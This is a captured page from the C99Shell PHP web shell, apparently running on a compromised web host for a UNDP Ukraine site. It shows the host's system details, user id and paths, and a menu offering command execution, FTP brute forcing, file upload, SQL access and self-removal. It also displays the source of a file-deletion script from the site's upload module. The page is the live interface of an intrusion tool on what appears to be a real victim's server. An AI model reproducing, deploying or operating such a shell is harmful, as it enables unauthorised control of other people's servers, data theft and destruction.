!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache/2.2.22 (Debian). PHP/5.6.36 

uname -a: Linux h05.hvosting.ua 4.9.110-amd64 #3 SMP Sun Nov 4 16:27:09 UTC 2018 x86_64 

uid=1389(h33678) gid=1099(h33678) groups=1099(h33678),502(mgrsecure) 

Safe-mode: OFF (not secure)

/home/h33678/data/www/msdp.undp.org.ua/modules/upload/   drwxr-xr-x
Free 117.1 GB of 200.55 GB (58.39%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     delete.php (1.29 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
$dir 
= @$_REQUEST['dir'];
$ajax=@$_REQUEST['ajax'];
$file=@$_REQUEST['file'];
$change = @$_REQUEST['change'];

include_once(
"config.php");
include_once(
"functions.php");
$reply=0;

authenticate();    //user login
if($GLOBALS['rdonly']) die("|0|Warning: Working in read-only mode!|");

if(!
$dir$dir=$homedir;
chdir($dir);

if(!
file_exists($file)) $msg="Error: File '$file' does not exist!";
else if(
is_dir($file)) traverse("$dir/$file");
else if(
unlink($file)) {$msg"File: '$file' deleted succesfully"$reply=1;}
else 
$msg="Error: Can't delete file: $file";

function 
traverse($dir)    # For recursive deleting
{
global 
$msg$reply;

if(
$dh opendir($dir)) 
  {
  while ((
$file readdir($dh)))  {$files[] = $file;}
   foreach(
$files as $file)
   {
    if(
$file!="."&&$file!=".."&&!is_dir("$dir/$file"))
    {
     if(@
unlink("$dir/$file")) {$msg"File: '$file' deleted succesfully"$reply=1;}
     else  { 
$msg="Error: Can't delete file $file"$reply=0; return 0;}       
    }
   }
  foreach(
$files as $file)
   {
   if(
$file!="."&&$file!=".."&&is_dir("$dir/$file"))
    {
    
traverse("$dir/$file");
    }
   }
 
closedir($dh);
 if(
rmdir("$dir")) {$msg"Folder: '$dir' deleted"$reply=1;}
 else { 
$msg="Error: Can't delete folder: $dir"$reply=0; return 0;}
 
  }
}

if(
$ajax)
    {
expired();
    print
"|$reply|$msg||";}
?> 

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by PinoyWH1Z | C99Shell Github | Generation time: 0.044 ]--